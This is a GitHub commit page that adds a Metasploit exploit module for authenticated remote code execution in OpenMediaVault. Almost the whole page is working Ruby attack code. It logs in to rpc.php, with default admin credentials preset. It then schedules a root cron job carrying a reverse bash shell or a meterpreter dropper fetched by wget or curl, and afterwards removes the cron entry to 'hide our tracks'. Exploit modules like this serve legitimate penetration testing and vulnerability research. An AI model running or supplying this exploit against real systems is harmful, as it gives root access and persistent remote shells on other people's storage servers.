Skip to content

Commit

Permalink
First release module
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die-gr3y committed Jul 2, 2024
1 parent 27a63aa commit 562e93f
Showing 1 changed file with 323 additions and 0 deletions.
323 changes: 323 additions & 0 deletions modules/exploits/multi/http/openmediavault_auth_cron_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,323 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution',
'Description' => %q{
OpenMediaVault allows an authenticated user to create cron jobs as root on the system.
An attacker can abuse this by sending a POST request via rpc.php to schedule and execute
a cron entry that runs arbitrary commands as root on the system.
All OpenMediaVault versions including the latest release 7.3.1-1 are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'Brandon Perry <bperry.volatile[at]gmail.com>', # Original Discovery
'Mert BENADAM' # exploit author
],
'References' => [
['CVE', '2013-3632'],
['PACKETSTORM', '178526'],
['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']
],
'DisclosureDate' => '2024-05-08',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'curl'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 80,
'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),
OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault'])
]
)
end

def user
datastore['USERNAME']
end

def pass
datastore['PASSWORD']
end

def login(user, pass, _opts = {})
print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => {
service: 'Session',
method: 'login',
params: {
username: user.to_s,
password: pass.to_s
},
options: nil
}.to_json
})
return true if res && res.code == 200 && res.body.include?('"authenticated":true')

false
end

def check_version
print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => {
service: 'System',
method: 'getInformation',
params: nil,
options: {
updatelastaccess: false
}
}.to_json
})
return nil unless res && res.code == 200 && res.body.include?('"error":null')

# parse json response and get the version
res_json = res.get_json_document
unless res_json.blank?
# OpenMediaVault v4 has a different json format where index 1 has the version information
version = res_json.dig('response', 1, 'value')
version = res_json.dig('response', 'version') if version.nil?
return version.split('(')[0].gsub(/[[:space:]]/, '') unless version.nil?
end
nil
end

def apply_config_changes
# Apply OpenMediaVault configuration changes
return send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => {
service: 'Config',
method: 'applyChangesBg',
params: {
modules: [],
force: false
},
options: nil
}.to_json
})
end

def execute_command(cmd, _opts = {})
post_data = {}.to_json
# depending on the version, adapt the POST request to add a cron payload at the scheduler
if Rex::Version.new(@version_number) >= Rex::Version.new('6.0.15-1')
# OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']
post_data = {
service: 'Cron',
method: 'set',
params: {
uuid: 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4',
enable: true,
execution: 'exactly',
minute: ['*'],
everynminute: false,
hour: ['*'],
everynhour: false,
dayofmonth: ['*'],
everyndayofmonth: false,
month: ['*'],
dayofweek: ['*'],
username: 'root',
command: cmd.to_s, # payload
sendemail: false,
comment: '',
type: 'userdefined'
},
options: nil
}.to_json
elsif Rex::Version.new(@version_number) <= Rex::Version.new('6.0.14-1') && Rex::Version.new(@version_number) >= Rex::Version.new('3.0.16')
# OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'
post_data = {
service: 'Cron',
method: 'set',
params: {
uuid: 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4',
enable: true,
execution: 'exactly',
minute: '*',
everynminute: false,
hour: '*',
everynhour: false,
dayofmonth: '*',
everyndayofmonth: false,
month: '*',
dayofweek: '*',
username: 'root',
command: cmd.to_s, # payload
sendemail: false,
comment: '',
type: 'userdefined'
},
options: nil
}.to_json
elsif Rex::Version.new(@version_number) <= Rex::Version.new('3.0.15') && Rex::Version.new(@version_number) >= Rex::Version.new('1.0.0')
# OpenMediaVault v1.0.0 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
post_data = {
service: 'Cron',
method: 'set',
params: {
uuid: 'undefined',
enable: true,
execution: 'exactly',
minute: '*',
everynminute: false,
hour: '*',
everynhour: false,
dayofmonth: '*',
everyndayofmonth: false,
month: '*',
dayofweek: '*',
username: 'root',
command: cmd.to_s, # payload
sendemail: false,
comment: '',
type: 'userdefined'
},
options: nil
}.to_json
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => post_data
})
fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless res && res.code == 200 && res.body.include?('"error":null')

# parse json response and get the uuid of the cron entry
# we need this later to clean up and hide our tracks
@cron_uuid = ''
res_json = res.get_json_document
@cron_uuid = res_json['response']['uuid'] unless res_json.blank?

# Apply and update cron configuration to trigger payload execution (1 minute)
res = apply_config_changes
fail_with(Failure::Unknown, 'Cannot apply cron changes to trigger payload execution.') unless res && res.code == 200 && res.body.include?('"error":null')
print_good('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')
end

def on_new_session(session)
# try to cleanup cron entry in OpenMediaVault
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => {
service: 'Cron',
method: 'delete',
params: {
uuid: @cron_uuid.to_s
},
options: nil
}.to_json
})
if res && res.code == 200 && res.body.include?('"error":null')
# Apply changes and update cron configuration to remove the payload entry
res = apply_config_changes
if res && res.code == 200 && res.body.include?('"error":null')
print_good('Cron payload entry successfully removed.')
else
print_status('Cannot apply the cron changes to remove the payload entry.')
end
else
print_status('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')
end
super
end

def check
return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless login(user, pass)

@version_number = check_version
unless @version_number.nil?
if Rex::Version.new(@version_number) <= Rex::Version.new('7.3.1-1') && Rex::Version.new(@version_number) >= Rex::Version.new('1.0.0')
return CheckCode::Vulnerable("Version #{@version_number}")
else
return CheckCode::Safe("Version #{@version_number}")
end
end
CheckCode::Safe('Could not retrieve the version information.')
end

def exploit
unless datastore['AutoCheck']
if login(user, pass)
@version_number = check_version
fail_with(Failure::Unknown, 'Could not retrieve the version information.') if @version_number.nil?
print_status("Version #{@version_number} detected.")
else
fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')
end
end

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end

0 comments on commit 562e93f

Please sign in to comment.